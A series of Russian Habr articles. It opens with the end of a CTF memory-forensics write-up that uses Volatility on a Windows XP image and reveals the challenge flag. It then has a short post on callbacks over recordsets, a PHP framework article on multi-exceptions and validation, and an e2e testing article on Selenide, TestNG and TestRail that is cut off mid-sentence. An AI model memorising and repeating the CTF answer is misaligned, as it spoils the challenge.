\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
vmtoolsd.exe pid: 1352
Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe» -n vmusr
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
ctfmon.exe pid: 1356
Command line: «C:\WINDOWS\system32\ctfmon.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
CCleaner.exe pid: 1388
Command line: «C:\Program Files\CCleaner\CCleaner.exe» /MONITOR
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
cmd.exe pid: 1336
Command line: «C:\WINDOWS\system32\cmd.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
wuauclt.exe pid: 1884
Command line: «C:\WINDOWS\system32\wuauclt.exe» /RunStoreAsComServer Local\[410]SUSDS4ea33fbaffc4ad40bbd1dc3ac93ee5cb
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
wuauclt.exe pid: 1024
Command line: «C:\WINDOWS\system32\wuauclt.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
notepad.exe pid: 268
Command line: «C:\WINDOWS\system32\NOTEPAD.EXE» C:\Documents and Settings\test\Desktop\code.txt
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
cmd.exe pid: 1276
Последним редактировался файл *code.txt*. Запустив следующий модуль *cmdscan*, находим ещё одну интересную запись:
```
volatility -f security-system.data --profile=WinXPSP2x86 cmdscan
```
**cmdscan**Volatility Foundation Volatility Framework 2.5
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
CommandProcess: csrss.exe Pid: 560
CommandHistory: 0x10186f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d4
Cmd #0 @ 0x1024400: cd Desktop
Cmd #1 @ 0x4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt
После декодирования этой HEX последовательности, например [тут](http://string-functions.com/hex-string.aspx), получаем последний флаг:
*flag{841dd3db29b0fbbd89c7b5be768cdc81}*, в котором захеширована фраза: *Two[space]little[space]mice*
Выполнив команду:
```
volatility -f security-system.data --profile=WinXPSP2x86 notepad
```
Можно получить дамп текста из notepad, и убедиться что это именно нужный нам флаг:
**notepad**
> Volatility Foundation Volatility Framework 2.5
>
> Process: 268
>
> Text:
>
> ?
>
>
>
> Text:
>
> d
>
>
>
> Text:
>
>
>
>
>
> Text:
>
> ?
>
>
>
> Text:
>
> 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d
>
>
>
>
CTF Пройден! | https://habr.com/ru/post/317878/ | null | ru | null |
# Использование Mapper для разбора рекордсетов
Идея достаточно проста: возможности функции `array_walk()` распространяются только на массивы. Я подумал и решил, что мне более интересно применять коллбэк не только к массивам, но и к итераторам, и к строкам посимвольно. И ещё — к результатам, возвращаемым другими коллбэками (это, например, семейство разномастных `*fetch*()`, используемых для разбора рекордсетов при работе с БД.
Плюс оказался очевиден: нам не нужно теперь сначала переносить результаты в двумерный массив, мы можем скармливать их методу-обработчику построчно.
В проекте, над которым я сейчас работаю, используется разделение на классы View и Model, View формирует XML, который потом отдаётся клиенту, манипуляции с СУБД отданы на откуп Model.
Итак, что мы получаем в качестве метода модели и как оно выглядит (ссылка внешняя для дополнительной красоты, пример использует mysqli): [digital-dog.livejournal.com/296083.html](http://digital-dog.livejournal.com/296083.html) | https://habr.com/ru/post/21329/ | null | ru | null |
# «Runn Me!» — говорит нам очередной фреймворк* на PHP. А слышится «Throw Me!». Часть 2
*\* вообще говоря это пока еще не фреймворк, а просто набор библиотек, фреймворком он станет чуть позже*
Не прошло и недели с момента «безумного успеха» (тут мнения немного расходятся, конечно...) первой части нашего повествования, как пришло время выпустить вторую.
Сегодня мы продолжаем путешествие в бездонную глубину библиотеки runn/core будущего фреймворка «Runn Me!». Под катом нам встретятся следующие обитатели бездны:
* Концепция «мультиисключения» и ее реализация в библиотеке
* Понятие объекта с внутренней валидацией и эталонная реализация такого объекта
* Немного заглянем в мир валидаторов и санитайзеров (подробный рассказ о них будет позже)
* Рассмотрим реализацию объекта с обязательными полями
* **Фирменное наименование:** Runn Me!
* **Вендор:** Runn
* **GitHub:** [github.com/RunnMe](https://github.com/RunnMe)
* **Composer:** [packagist.org/packages/runn](https://packagist.org/packages/runn/)
Предыдущие серии:
-----------------
1. [Историческая справка. ObjectAsArray. Collection. TypedCollection. Std class](https://habrahabr.ru/post/326960/)
Мультиисключение
----------------
В начале был интерфейс Throwable.
Хитрая штука. Напрямую реализовать нельзя, как и многие интерфейсы из стандартной библиотеки PHP, зато любой объект, реализующий этот интерфейс, получает особую суперспособность: его можно «выбросить» (throw). Впрочем, слово «любой» тут явное преувеличение: всё, что нам доступно — это унаследовать собственный класс от библиотечного же \Exception.
Именно с такого наследования и начинается работа с исключениями в «Runn Me!»:
```
namespace Runn\Core;
class Exception
extends \Exception
implements \JsonSerializable
{
public function jsonSerialize()
{
return ['code' => $this->getCode(), 'message' => $this->getMessage()];
}
}
```
Имплементация интерфейса JsonSerializable неспроста добавлена сразу же в Runn\Core\Exception: это явный задел на будущее, на то светлое будущее, когда мы с вами научимся исключения ловить в наших middleware, упаковывать в JSON и отдавать в ответе клиенту.
Однако «Runn Me!» не так скучен, как может показаться при перечитывании листингов. Совсем рядом с классом Exception в пространстве имён Runn\Core притаился еще один, почти незаметный класс Runn\Core\Exceptions. Что же это такое?
Это мультиисключение:
* Типизированная коллекция (см. предыдущую статью)
* Тип элементов этой коллекции — Throwable
* И при этом она сама является Throwable!
Давайте посмотрим на несложном примере, как такой конструкцией можно пользоваться:
```
$exceptions = new Exceptions;
$exceptions->add(new Exception('First'));
$exceptions->add(new Exception('Second'));
assert(2 === count($exceptions));
assert('First' === $exceptions[0]->getMessage());
assert('Second' === $exceptions[1]->getMessage());
if (!$exceptions->empty()) {
throw $exceptions;
}
```
Где применяются мультиисключения?
---------------------------------
Самое, пожалуй, «яркое» применение этого паттерна — механизм валидации, предусмотренный в стандартных объектах «Runn Me!».
> *Авторы библиотек прекрасно осознают, что даже намёк на то, что ошибка валидации может быть исключением, способен вызывать жжение пониже спины у многих программистов. Однако мы решили, что возможный профит от такого подхода во много раз превышает минусы, которые можно от него ожидать. Поэтому не пылайте зря — у нас ошибки валидации реализуются исключениями и мультиисключениями. Это решение принято и обжалованию не подлежит.*
Рассмотрим подробно, шаг за шагом, как же это устроено.
### Методы подключения валидации
Внутри стандартного объекта (а точнее — любого наследника HasInnerValidationInterface, если вы не слишком отступили от эталонной реализации, описанной в StdGetSetWValidateSanitizeTrait) вы можете определить методы подключения валидации.
Название такого метода должно начинаться со слова «validate», за которым следует имя ключа, значение для которого мы будем валидировать, с первой большой буквы. Например:
```
class ValidationExampleClass extends Std
{
protected function validateFoo($val)
{
return true;
}
protected function validateBar($val)
{
return true;
}
}
$obj = new ValidationExampleClass;
$obj->foo = 42;
$obj->bar = 'baz';
```
В данном коде показано, что мы создали два метода для подключения валидации validateFoo() и validateBar(). Первый из них будет автоматически вызван ДО присваивания какого-либо значения свойству $obj->foo, второй же, соответственно, до фактического изменения $obj->baz.
Возможны пять вариантов «поведения» метода подключения валидации:
1. Метод возвращает false
2. Метод выбрасывает единичное исключение
3. Метод выбрасывает мультиисключение
4. Метод является генератором исключений
5. И, наконец, метод просто вернул что-то, что не является false
Самые простые — это варианты №№ 1 и 5.
В первом случае просто ничего не происходит, присваивание «молча» отменяется, свойство не получает новое значение.
В пятом случае присваивание нового значения свойству также «молча» происходит, не вызывая никаких побочных эффектов.
Чуть сложнее варианты №№ 2, 3 и 4. Все они ведут к отмене присваивания. Но чтобы точно понять, для чего они предназначены, мы с вами пойдем дальше.
### Методы массового присваивания (заполнения)
С целью наиболее полно использовать потенциал методов подключения валидации в трейте StdGetSetWValidateSanitizeTrait переопределен важный метод merge() (который, в том числе, используется и в конструкторе класса Std).
Показать его работу лучше всего на примере:
```
class ValidationExampleClass extends Std
{
// Случай номер 2: единичное исключение
protected function validateFoo($val)
{
if (empty($val)) {
throw new Exception('foo is empty');
}
}
// Случай номер 3: мультиисключение
protected function validateBar($val)
{
$errors = new ValidationErrors; // этот класс, разумеется, наследуется от Exceptions
if (strlen($val) < 6) {
$errors[] = new Exception('bar is too short');
}
if (preg_match('~\d~', $val)) {
$errors[] = new Exception('bar contains digits');
}
if (!$errors->empty()) {
throw $errors;
}
}
// Случай номер 4: генератор исключений
protected function validateBaz($val)
{
if (strlen($val) > 6) {
yield new Exception('baz is too long');
}
if (preg_match('~[a-z]~', $val)) {
yield new Exception('baz contains letters');
}
}
}
```
Теперь, когда мы с вами определили все возможные правила валидации всеми возможными способами, давайте попробуем создать объект, который намеренно нарушит все эти правила:
```
try {
$obj = new ValidationExampleClass([
'foo' => '', // нарушаем правило "непустой"
'bar' => '123', // две ошибки - "слишком коротко" и "содержит цифры",
'baz' => 'abcdefgh', // две ошибки - "слишком длинно" и "содержит буквы",
]);
} catch (Exceptions $errors) {
foreach ($errors as $error) {
// Прекрасно! Мы получили все пять ошибок валидации!
echo $error->getMessage();
}
}
```
Что же произошло?
Для начала метод merge() готовит пустую коллекцию класса Exceptions для будущих ошибок валидации. Затем для каждого ключа вызывается, если он существует, метод подключения валидации.
2. Метод подключения валидации выбросил одиночное исключение: оно добавляется в коллекцию.
3. Метод выбросил мультиисключение: оно объединяется с коллекцией.
4. Метод является генератором: всё, что он сгенерирует, являющееся Throwable, будет добавлено в коллекцию.
Если после всех этих операций коллекция ошибок валидации оказалась непустой — она выбрасывается. Дальше уже вам надлежит ее где-то поймать и решить, что делать со всеми этими ошибками.
Методы подключения санитайзинга
-------------------------------
Ну, тут рассказ будет не таким захватывающим, как про валидацию. Всё просто:
```
class SanitizationExampleClass extends Std
{
protected function sanitizePhone($val)
{
return preg_replace('~\D~', '', $val);
}
}
$obj = new SanitizationExampleClass;
$obj->phone = '+7 (900) 123-45-67';
assert('79001234567' === $obj->phone);
```
Определили метод, он получает на вход то значение, которое вы намереваетесь присвоить свойству, то, что возвращает — будет действительно присвоено. Банально, но полезно.
Небольшой анонс
---------------
Разумеется, «магическими» методами в стандарных объектах тема валидации и санитации не исчерпывается. Одна из следующих статей будет целиком посвящена библиотеке runn/validation, которая сейчас готовится к публикации.
И, наконец, обещанные обязательные поля
---------------------------------------
Важнейшая вещь, скажу я вам. Особенно когда мы перейдем к теме комплексных (очень хочется произнести это слово с ударением на «е»: «комплЕксных») объектов. Но и без них можно всё понять:
```
class testClassWithRequired extends Std {
protected static $required = ['foo', 'bar'];
// если вам не хватит гибкости, можете переопределить метод getRequiredKeys() по своему вкусу
}
try {
$obj = new testClassWithRequired();
} catch (Exceptions $errors) {
assert(2 == count($errors));
assert('Required property "foo" is missing' === $errors[0]->getMessage());
assert('Required property "bar" is missing' === $errors[1]->getMessage());
}
```
Как вы видите, здесь используется всё тот же уже знакомый механизм мультиисключения для оповещения нас о том, что некоторые обязательные поля оказались неустановленными в конструкторе объекта. Кстати, если там возникнут ошибки валидации — мы их тоже увидим! Всё в той же коллекции $errors.
На сегодня всё. Следите за следующими статьями!
**P.S.** Детального плана со сроками выхода фреймворка в целом у нас нет, как нет и желания успеть к какой-то очередной дате. Поэтому не спрашивайте «когда». По мере готовности отдельных библиотек будут выходить статьи о них.
**P.P.S.** С благодарностью приму сведения об ошибках или опечатках в личные сообщения.
Хороших выходных всем! | https://habr.com/ru/post/328080/ | null | ru | null |
# Как e2e автотесты на Selenide помогают QA-команде при частых релизах
Всем привет! Я Иван, старший инженер-тестировщик в КРОК. Уже 6 лет занимаюсь тестированием ПО. Из них 3 года внедряю автоматизацию тестирования на различных проектах — люблю всё автоматизировать. На рабочей машине много разных “батников” и bash-скриптов, которые призваны упрощать жизнь.
Недавно у нас стартовал проект по модернизации и импортозамещению системы электронного документооборота (СЭД) в одной крупной организации. Система состоит из основного приложения и двух десятков микросервисов, в основном — для построения отчётов и интеграции с другими подсистемами. Сейчас в проекте уже настроено больше 100 автотестов, и они сильно помогают при частых релизах, когда времени на регресс почти нет. Весь набор автотестов выполняется примерно за 25 минут, в среднем экономим до 3,5 часов ручной работы при каждом запуске. А запускаем мы их каждый день.
Дальше будет про то, как мы выбирали технологии и инструменты, какой каркас и подход к организации автотестов в итоге получился. И почему мы в КРОК решили тиражировать этот подход в других проектах, реализация которых основана на Content Management Framework (CMF) под СЭД. На базе CMF у нас есть комплексное решение для автоматизации процессов документооборота [КСЭД 3.0](https://www.tadviser.ru/index.php/%D0%9F%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82:%D0%9A%D0%A1%D0%AD%D0%94_%D0%9A%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%BE%D0%B1%D0%BE%D1%80%D0%BE%D1%82%D0%B0). Конечно, отдельные решения по автотестам можно применять под любую СЭД.
Ещё расскажу про проблемы, и как мы их решали. Пост будет интересен и полезен, если в ваших автотестах необходимо подписывать документ электронной подписью (ЭП) в докер-образе браузера, проверять содержимое pdf файла, выполнять сравнение скриншотов или интегрироваться с одной из популярных Test Management System.
### Что имели на входе
Много лет у заказчика была СЭД, которую мы же в КРОК делали на базе экосистемы Microsoft (.NET Framework, MS SQL Server, IIS, Active Directory). Но закон об импортозамещении ПО в госсекторе, ФЗ «О безопасности критической информационной инфраструктуры», плюс моральное устаревание существующей системы стали причиной решения о создании новой, уже на open source решениях.
Основной функционал новой СЭД реализуется в едином приложении. Для масштабирования запускается несколько экземпляров приложения, которые находятся за балансировщиком нагрузки. Из приложения выделено несколько подсистем, развёртываемых в качестве отдельных сервисов, — это даёт более гибкое масштабирование.
UI реализуется с использованием фреймворка Vue.JS. Бэкенд, как писал ранее, разрабатывается на собственном Content Management Framework (CMF) с реализованными процессами под СЭД. Основа для него — jXFW (CROC Java Extendable FrameWork). Зарегистрирован в Едином реестре российских программ для ЭВМ и баз данных (от 29 Марта 2018, регистрационный номер ПО: 4309). Про jXFW мой коллега писал отдельно вот [здесь](https://habr.com/ru/company/croc/blog/507810/). Данные хранятся в БД PostgreSQL. Автоматизация бизнес-процессов выполнена при помощи Camunda. В качестве брокера сообщений используется RabbitMQ. Для наглядности, укрупненная физическая архитектура системы выглядит примерно так:
### Почему решили делать автотесты
Проект нужно было сдать в короткие сроки, с очень частыми релизами. Мне было очевидно, что автоматизация тестирования должна нам помочь. Оставалось убедить в этом руководство.
Я сел и посчитал, сколько времени уйдёт на ручное тестирование базового функционала при каждом релизе, и сколько времени нужно для написания и поддержки автотестов. В итоге получилось, что в среднем на двадцатый прогон тесты окупятся и далее будут приносить экономическую выгоду. Учитывая, что в неделю мы выпускаем несколько релизов, то приблизительно уже через 1,5-2 месяца мы должны получить профит. Изначально таблица расчётов выглядела так:
| | | | |
| --- | --- | --- | --- |
| Время написания автотестов | Ручное выполнениенабора тестов (за 1 раз) | Частота выполнения | Поддержка тестов(в неделю) |
| 70 ЧЕЛ-Ч | 3,5-4 ЧЕЛ-Ч | 3 раза в неделю | 3 ЧЕЛ-Ч |
На практике получилось даже лучше — тесты сейчас запускаются каждый день. Но немного увеличилось общее время написание тестов — на 15 человеко-часов. Остальные показатели из таблицы не изменились.
В общем, на применение автоматизированных e2e тестов получили добро быстро. А я в глубине души понимал, что мы спасаем себя от постоянной рутинной работы и сокращаем время на регрессионное тестирование.
### Чем будем работать: выбор технологий и инструментов
Каркас автотестов нужен был надёжный и универсальный, потому заморочились подбором инструментов.
С языком программирования никаких проблем не возникло — бэкенд был написан на Java, с которым в команде инженеров-тестировщиков почти все были знакомы. Дополнительно изучать не потребовалось. Всё удачно совпало, не пришлось разводить зоопарк языков в проекте, что тоже очень хорошо.
Чистый Selenium мне использовать не хотелось, так как существует прекрасный инструмент Selenide (про него много написано, например, [здесь](https://habr.com/ru/post/274071/)), который делает большое количество скрытой работы за нас и инкапсулирует в себе много сложной логики самого Selenium. Зачем изобретать велосипед, если ребята из “Codeborne” его уже сделали. Я раньше работал с этим фреймворком, и он мне понравился. Если коротко — это фреймворк для автоматизированного тестирования веб-приложений на основе Selenium WebDriver. Его основные преимущества:
* Изящный API,
* Поддержка Ajax для стабильных тестов,
* Мощные селекторы,
* Простая конфигурация.
С выбором “сборщика” тестов тоже проблем не возникло — взяли Apache Maven. Он используется во всём проекте, привносить что-то новое не хотелось. Изначально задумывались над тем, чтобы взять Gradle, так как он более гибок. Но как показало время, мы не делали ничего такого, с чем бы не справился Maven. Конфигурация для тестов в pom.xml довольно простая.
А вот определиться с выбором фреймворка для запуска тестов было немного сложнее. Изначально выбрали JUnit5, но потом передумали и взяли TestNG. С ним доводилось больше работать, и лично я считаю, что TestNG удобней, чем JUnit5. Но, как говорится, каждому своё.
У нас есть тесты, которые должны сохранять порядок выполнения, потому что идут по единому процессу. Например, жизненный цикл документа. TestNG легко позволяет это делать установкой приоритета (параметр priority в аннотации @Test) в тестовом классе, а порядок тестовых классов задаётся в отдельном конфигурационном файле testng.xml.
Есть тесты, которые подготавливают данные для других. TestNG позволяет это легко и просто реализовать с помощью параметра dependsOnMethods. Я знаю, что использование последовательных тестов является антипаттерном. Но небольшая часть из них так организована. Нам необходимо иметь понятную структуру, каждой задаче по документу – отдельный тест. А также быть уверенным в целостности и работоспособности бизнес-процесса.
Мне нравится подход и общая организация управления выполнения тестов в TestNG. О ней подробней расскажу ниже.
Дальше определились с фреймворком для построения отчетов: берем всем известный и популярный Allure. Ещё рассматривался Report Portal. Но всё же Allure более легковесный, проще в установке и поддержке. Report Portal подойдёт для единого решения по хранению и отображению результатов множества проектов на уровне компании. Такой задачи перед нами не стояло.
Среду для запуска автотестов хотелось иметь единую, легко масштабируемую для параллельного запуска. Опять же, рассматривались два варианта: Selenoid и Selenium Grid. Я раньше использовал Grid, и он, на мой взгляд, имеет ряд недостатков:
* сложность в настройке,
* нестабильность и невысокая скорость работы,
* сложность в добавлении и поддержке новых версий браузеров.
А вот с Selenoid нужно было разобраться, понять, что он из себя представляет и подходит ли нам. Выяснилось, что это хорошая альтернатива. В двух словах — это сервер, который позволяет запускать браузеры в docker-контейнерах. Легко настраивается и устанавливается в две команды, имеет замечательный UI-интерфейс, где можно отслеживать сессии в браузерах, даёт возможность записывать видео. Также, что очень важно, просто настраивать и конфигурировать браузеры в контейнерах.
Итого, имеем следующий основной технический стек:
| | |
| --- | --- |
| Язык программирования | Java SE8 |
| Фреймворк для написания тестов | Selenide |
| Фреймворк для сборки тестов | Apache Maven |
| Фреймворк для запуска тестов | TestNG |
| Отчетность | Allure |
| Среда для выполнения тестов | Selenoid |
### Всё по полочкам: структура и организация тестов
Думаю, никого не удивлю, если скажу, что мы используем паттерн Page Object, позволяющий разделять логику выполнения тестов от их реализации. Все представляют структуру стандартного Java проекта. У нас для тестов она выглядит примерно так:
Всё, что является тестами, располагается в папке test. Весь же код по страницам, хелперы, ресурсы, глобальные переменные — хранятся в папке main.
В папке libs— драйвера под несколько браузеров (Chrome, Firefox, Opera) на случай, если необходимо запустить тесты локально.
В папке screenshot\_tests — эталонные скриншоты для печатных форм документа. Там мы проверяем корректность формирования штампа ЭП — размеры, месторасположение на листе и т.д.
В папке src/main/java/ru/croc/environment находится класс для хранения и управления общими переменными. Сами переменные хранятся в файле configuration.properties (папка resources). Вот фрагмент из класса Environment, где отображён метод по загрузке конфигурационного файла и получению переменной адреса приложения:
```
public class Environment {
static FileInputStream fis;
static Properties property = new Properties();
/**
* Загрузка пропертей
*/
private static Properties loadProperties() {
try {
fis = new FileInputStream("src/main/resources/configuration.properties");
property.load(fis);
} catch (IOException e) {
System.err.println("ОШИБКА: Файл свойств отсутствует!");
}
return property;
}
/**
* Адрес СЭД
*/
public static final String URL_SEDD = getUlrSedd("SEDD");
private static String getUlrSedd(String param) {
return loadProperties().getProperty(param);
}
}
```
Далее уже в нужном месте кода вызываем переменную Environment.URL\_SEDD.
В папке src/main/java/ru/croc/listeners— класс TestListener, имплементирующий слушатель ITestListener и реализующий логику работы с TestRail. В нём отслеживаются успешно выполненные и упавшие тесты в методах onStart, onTestSuccess, onTestFailure. Об интеграции с Test Management System (далее TMS) подробно скажу далее.
В папке src/main/java/ru/croc/pages — классы, описывающие страницы приложения. Основные страницы находятся в корне папки. Также существуют виджеты — это общие элементы на страницах (модальные окна, панели). Их мы храним в папке src/main/java/ru/croc/pages/widgets.
В папке src/main/java/ru/croc/utils хранятся классы, отвечающие за:
1. Кастомные драйвера (драйвера под Selenoid),
2. Работу с БД,
3. Интеграцию с TestRail,
4. Скриншот тестирование,
5. API взаимодействие с системой,
6. Работу с pdf файлами,
7. Работу с пользователями,
8. Утилитарные методы — работа с датами, скачивание/загрузка файлов, работа с вкладками браузера и т.д.
Все вспомогательные ресурсы — скрипты, тестовые вложения, файлы для хранения пользователей, переменных — находятся в папке src/main/resources.
Вся общая логика по тестам вынесена в базовый класс BaseTest. Каждый тестовый класс наследуется от него. В BaseTest реализованы методы — setUp с аннотацией TestNG @BeforeSuite (выполняется перед всем тестовым набором, заданным в testng.xml) и tearDown с аннотацией @AfterMethod (выполняется после каждого тестового метода). В методе setUp реализована инициализация подходящих драйверов, выполнение скриптов и API запросов, если это необходимо, настройки работы с Allure. Нужно добавить, что автотесты выполняются на тестовой среде с тестовыми данными, поэтому мы можем менять или добавлять недостающие данные скриптами и не переживать за созданные тестовые задачи в системе. В методе tearDown реализован перелогин в приложении. Сам файл testng.xml выглядит примерно так:
```
xml version="1.0" encoding="UTF-8"?
```
Здесь из важного:
1. Подключается слушатель TestListener, реализующий логику работы по интеграции с TestRail,
2. Настройки, которые дают возможность запускать тесты последовательно (parallel=none) и сохраняя порядок (preserve-order="true").
Последовательность тестов в самом классе реализуем указанием параметров в аннотации @Test. Пример:
```
@Test(description="Рассмотрение начальником управления", priority=1)
public void headReview(){}
//...............
@Test(description="Рассмотрение начальником отдела", priority=2)
public void chiefReview(){}
```
### Что ещё умеем: дополнительный функционал
#### Интеграция с TestRail
После каждого прогона автотестов в TestRail нам хотелось иметь новый Test Run с результатами выполнения. К счастью, есть хорошо [задокументированный API](https://www.gurock.com/testrail/docs/api/getting-started/binding-java) и [реализованный клиент](https://github.com/gurock/testrail-api/tree/master/java/com/gurock/testrail), позволяющий без особых проблем интегрироваться с TestRail. На его основе можно разрабатывать функционал под свои нужды.
Мы создали класс TestRailUtil, в котором реализовали основные методы по работе с TMS. Пример:
```
/**
* Инициализация клиента для работы с API
*/
private static APIClient getClient() {
APIClient client = new APIClient(MavenParametrs.getTestRailUrl());
client.setUser(MavenParametrs.getTestRailUser());
client.setPassword(MavenParametrs.getTestRailAPIKey());
return client;
}
/**
* Добавление результата в TestRail
*/
public static String addResult4Case(String runId, String caseId, Object data) {
try {
JSONObject js = (JSONObject) getClient().sendPost("add_result_for_case/" + runId + "/" + caseId, data);
return js.get("test_id").toString();
} catch (IOException | APIException e) {
e.printStackTrace();
return null;
}
}
/**
* Метод добавления результата при успешном выполнении тестов
*/
public static String testPassed(String runId, String caseId) {
Map data = new HashMap();
data.put("status_id", 1);
data.put("comment", "This test worked fine!");
return addResult4Case(runId, caseId, data);
}
/**
* Метод добавления результата при не успешном выполнении тестов
*/
public static String testFailed(String runId, String caseId) {
Map data = new HashMap();
data.put("status_id", 5);
data.put("comment", "ERROR");
return addResult4Case(runId, caseId, data);
}
/**
* Добавление нового тестрана
*/
public static String[] addTestRun(String suiteId, String projectId, String nameRun) {
Map data = new HashMap();
data.put("suite_id", new Integer(suiteId));
data.put("name", nameRun + "_" + TestUtils.getDateTime());
try {
JSONObject js = (JSONObject) getClient().sendPost("add_run/" + projectId, data);
return new String[] {
js.get("id").toString(), js.get("url").toString()
};
} catch (IOException | APIException e) {
e.printStackTrace();
return null;
}
}
/**
* Удаление тестранов
*/
public static void deleteTestRuns(List < String > list_id) {
try {
for (String item: list_id) {
getClient().sendPost("delete_run/" + item, "");
}
} catch (IOException | APIException e) {
e.printStackTrace();
}
}
```
Думаю, здесь всё понятно по комментариям, подробно разбирать каждый метод не буду.
Всю логику перенесли, как и писал ранее, в класс TestListener имплементирующий ITestListener. Используем всего 3 переопределенных метода — onStart, onTestSuccess, onTestFailure.
Пример метода onTestSuccess:
```
/**
* Выполняется после каждого успешно выполненного теста
*/
@Override
public void onTestSuccess(ITestResult iTestResult) {
testId = "";
testMethods = iTestResult.getMethod().getMethodName();
tm = FileReaderUtil.getTestMethod();
for (TestMethodsName item: tm) {
if (testMethods.equals(item.getMethodName())) {
for (TestRun tr: testRuns) {
if (tr.getTestRunName().contains(item.getTestRunName())) {
testId = TestRailUtil.testPassed(tr.getTestRunId(), item.getCaseId());
break;
}
}
}
}
}
```
Метод onTestFailure, который выполняется после проваленного теста, реализован аналогично, только вместо testPassed вызывается testFailed.
Здесь надо пояснить, что есть ещё отдельный csv файл, в котором хранятся имена методов вместе с id тест-кейса в TestRail, то есть идет сопоставление методов в коде с тест-кейсами в TMS. Фрагмент этого файла выглядит так:
```
#Тест по входящему документу,DemoAutoTest
registrationIncoming,98162
headReview,98166
chiefReview,98168
execute,100003
```
Первая строка в файле нужна, чтобы обозначить набор кейсов в Test Run. Как раз в методе onStart мы создаем новый Test Run, например, с именем DemoAutoTest. Остальные же строки нам говорят, что тест-кейсу, например, с id 98162, соответствует метод в коде registrationIncoming.
На строке:
```
tm = FileReaderUtil.getTestMethod();
```
мы получаем список объектов с именем метода, id тест-кейса и именем тестрана, к которому эти кейсы относятся. А далее выполняется проверка на соответствие текущего выполняемого метода с тест-кейсом в TMS. Также добавлена дополнительная проверка в цикле на идентификацию необходимого Test Run:
```
if(tr.getTestRunName().contains(item.getTestRunName()))
```
Если бы Test Run был один, то данную проверку выполнять было бы не нужно, а так непонятно, в каком из них искать необходимый тест-кейс.
После запуска тестов в TestRail создаётся новый Test Run с датой и временем:
А по запущенным тестам проставляются результаты:
Вот так, не очень сложно, можно реализовать интеграцию с TestRail для отслеживания результатов выполненных автотестов.
#### Скриншот-тестирование печатных форм по документу
В системе документы подписываются ЭП, поэтомувозникла задача выполнять проверку на корректность формирования штампа и шапки печатной формы после подписания. Сам штамп выглядит так:
Часто его содержимое заполнялось не корректными данными, также он мог менять свои размеры и местоположение. Поэтому приняли решение проверять его с помощью сравнения скриншотов. Для этих целей была выбрана библиотека Yandex aShot.
Сравнение выполняется на основе ранее подготовленных эталонных скриншотов и текущих, которые формируются при каждом выполнении тестов.
Для хранения наборов скриншотов, как писал ранее, необходимо было создать папку screenshot\_tests**.** В ней:
* папка для хранения наложенных друг на друга снимков с отмеченными различиями между ними — screenshot\_tests/diff\_screens,
* папка для хранения эталонных скриншотов — screenshot\_tests/etalon\_screens,
* папка для хранения скриншотов, сделанных в процессе выполнения тестов — screenshot\_tests/test\_screens.
Скриншот можно создавать как с помощью библиотеки aShot, так и с помощью методов Selenide. Так как мы делаем снимок превью печатной формы, то необходимо было делать скриншот непосредственно самого веб-элемента, отвечающего за предварительный просмотр, а не всей страницы целиком. Мы воспользовались методом Selenide.
Полностью метод снятия скриншота выглядит так:
```
/**
* Метод создания скриншота элемента
*/
public static BufferedImage takeScreenOfElement(String selector) throws IOException {
File screen = $(selector).screenshot();
return ImageIO.read(screen);
}
```
Для сохранения используем метод:
